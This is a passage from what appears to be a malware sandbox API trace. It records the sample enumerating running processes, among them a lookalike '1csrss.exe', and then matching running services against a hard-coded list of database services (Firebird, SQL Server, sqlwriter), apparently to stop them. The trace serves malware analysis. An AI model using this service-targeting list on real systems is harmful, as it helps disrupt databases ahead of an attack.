lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.688] lstrlenW (lpString="svchost.exe") returned 11 [0308.689] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.689] lstrlenW (lpString="svchost.exe") returned 11 [0308.689] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.690] lstrlenW (lpString="svchost.exe") returned 11 [0308.690] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.691] lstrlenW (lpString="svchost.exe") returned 11 [0308.691] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0308.692] lstrlenW (lpString="spoolsv.exe") returned 11 [0308.692] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0308.692] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0308.692] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0308.693] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0308.693] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0308.695] lstrlenW (lpString="Memory Compression") returned 18 [0308.695] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.696] lstrlenW (lpString="svchost.exe") returned 11 [0308.696] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0308.697] lstrlenW (lpString="audiodg.exe") returned 11 [0308.697] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0308.697] lstrlenW (lpString="sihost.exe") returned 10 [0308.698] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.698] lstrlenW (lpString="svchost.exe") returned 11 [0308.698] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0308.719] lstrlenW (lpString="taskhostw.exe") returned 13 [0308.719] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0308.720] lstrlenW (lpString="explorer.exe") returned 12 [0308.720] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0308.721] lstrlenW (lpString="SearchUI.exe") returned 12 [0308.721] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0308.722] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0308.722] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0308.723] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0308.723] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0308.725] lstrlenW (lpString="1csrss.exe") returned 10 [0308.725] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.726] lstrlenW (lpString="svchost.exe") returned 11 [0308.726] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0308.727] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0308.727] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0308.728] lstrlenW (lpString="svchost.exe") returned 11 [0308.728] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0308.729] lstrlenW (lpString="consent.exe") returned 11 [0308.729] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0308.730] lstrlenW (lpString="dllhost.exe") returned 11 [0308.730] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0308.731] CloseHandle (hObject=0x4f0) returned 1 [0308.731] Sleep (dwMilliseconds=0x1f4) [0309.247] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddc78 [0309.248] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0309.248] GetLastError () returned 0xea [0309.248] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0309.248] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0309.249] CloseServiceHandle (hSCObject=0x7ddc78) returned 1 [0309.249] lstrlenW (lpString="Appinfo") returned 7 [0309.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0309.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0309.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0309.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0309.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0309.249] lstrlenW (lpString="AppXSvc") returned 7 [0309.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0309.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0309.249] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0309.249] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0309.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0309.249] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0309.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0309.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0309.250] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0309.250] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0309.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0309.250] lstrlenW (lpString="Audiosrv") returned 8 [0309.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0309.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0309.250] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0309.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0309.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0309.250] lstrlenW (lpString="BFE") returned 3 [0309.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0309.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0309.250] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0309.250] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0309.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0309.250] lstrlenW (lpString="BITS") returned 4 [0309.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0309.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0309.250] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0309.250] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0309.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0309.251] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0309.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0309.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0309.251] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0309.251] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0309.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0309.251] lstrlenW (lpString="CDPSvc") returned 6 [0309.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0309.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0309.251] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0309.251] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0309.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0309.251] lstrlenW (lpString="ClickToRunSvc") returned 13 [0309.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0309.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0309.251] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0309.251] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0309.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0309.251] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0309.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0309.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0309.251] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0309.251] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0309.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0309.252] lstrlenW (lpString="CryptSvc") returned 8 [0309.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0309.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0309.252] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0309.252] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0309.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0309.252] lstrlenW (lpString="DcomLaunch") returned 10 [0309.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0309.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0309.252] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0309.252] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0309.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0309.252] lstrlenW (lpString="DeviceAssociationService") returned 24 [0309.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0309.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0309.252] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0309.252] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0309.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0309.252] lstrlenW (lpString="Dhcp") returned 4 [0309.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0309.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0309.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0309.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0309.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0309.252] lstrlenW (lpString="Dnscache") returned 8 [0309.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0309.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0309.253] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0309.253] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0309.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0309.253] lstrlenW (lpString="DoSvc") returned 5 [0309.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0309.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0309.253] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0309.253] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0309.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0309.253] lstrlenW (lpString="DPS") returned 3 [0309.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0309.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0309.253] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0309.253] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0309.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0309.253] lstrlenW (lpString="DusmSvc") returned 7 [0309.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0309.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0309.253] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0309.253] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0309.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0309.253] lstrlenW (lpString="EventLog") returned 8 [0309.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0309.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0309.253] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0309.253] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0309.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0309.253] lstrlenW (lpString="EventSystem") returned 11 [0309.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0309.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0309.254] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0309.254] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0309.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0309.254] lstrlenW (lpString="FontCache") returned 9 [0309.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0309.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0309.254] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0309.254] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0309.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0309.254] lstrlenW (lpString="gpsvc") returned 5 [0309.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0309.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0309.254] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0309.254] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0309.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0309.254] lstrlenW (lpString="iphlpsvc") returned 8 [0309.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0309.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0309.254] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0309.254] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0309.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0309.254] lstrlenW (lpString="KeyIso") returned 6 [0309.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0309.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0309.254] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0309.254] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0309.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0309.255] lstrlenW (lpString="LanmanServer") returned 12 [0309.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0309.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0309.255] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0309.255] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0309.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0309.255] lstrlenW (lpString="LanmanWorkstation") returned 17 [0309.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0309.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0309.255] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0309.255] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0309.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0309.255] lstrlenW (lpString="lfsvc") returned 5 [0309.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0309.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0309.258] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0309.258] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0309.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0309.258] lstrlenW (lpString="lmhosts") returned 7 [0309.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0309.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0309.258] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0309.258] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0309.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0309.258] lstrlenW (lpString="LSM") returned 3 [0309.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0309.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0309.258] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0309.258] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0309.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0309.259] lstrlenW (lpString="MapsBroker") returned 10 [0309.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0309.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0309.259] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0309.259] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0309.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0309.259] lstrlenW (lpString="MpsSvc") returned 6 [0309.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0309.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0309.259] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0309.259] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0309.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0309.259] lstrlenW (lpString="NcbService") returned 10 [0309.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0309.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0309.259] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0309.259] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0309.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0309.259] lstrlenW (lpString="netprofm") returned 8 [0309.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0309.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0309.259] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0309.259] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0309.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0309.259] lstrlenW (lpString="NgcSvc") returned 6 [0309.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0309.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0309.259] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0309.259] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0309.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0309.260] lstrlenW (lpString="NlaSvc") returned 6 [0309.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0309.260] lstrcmpiW 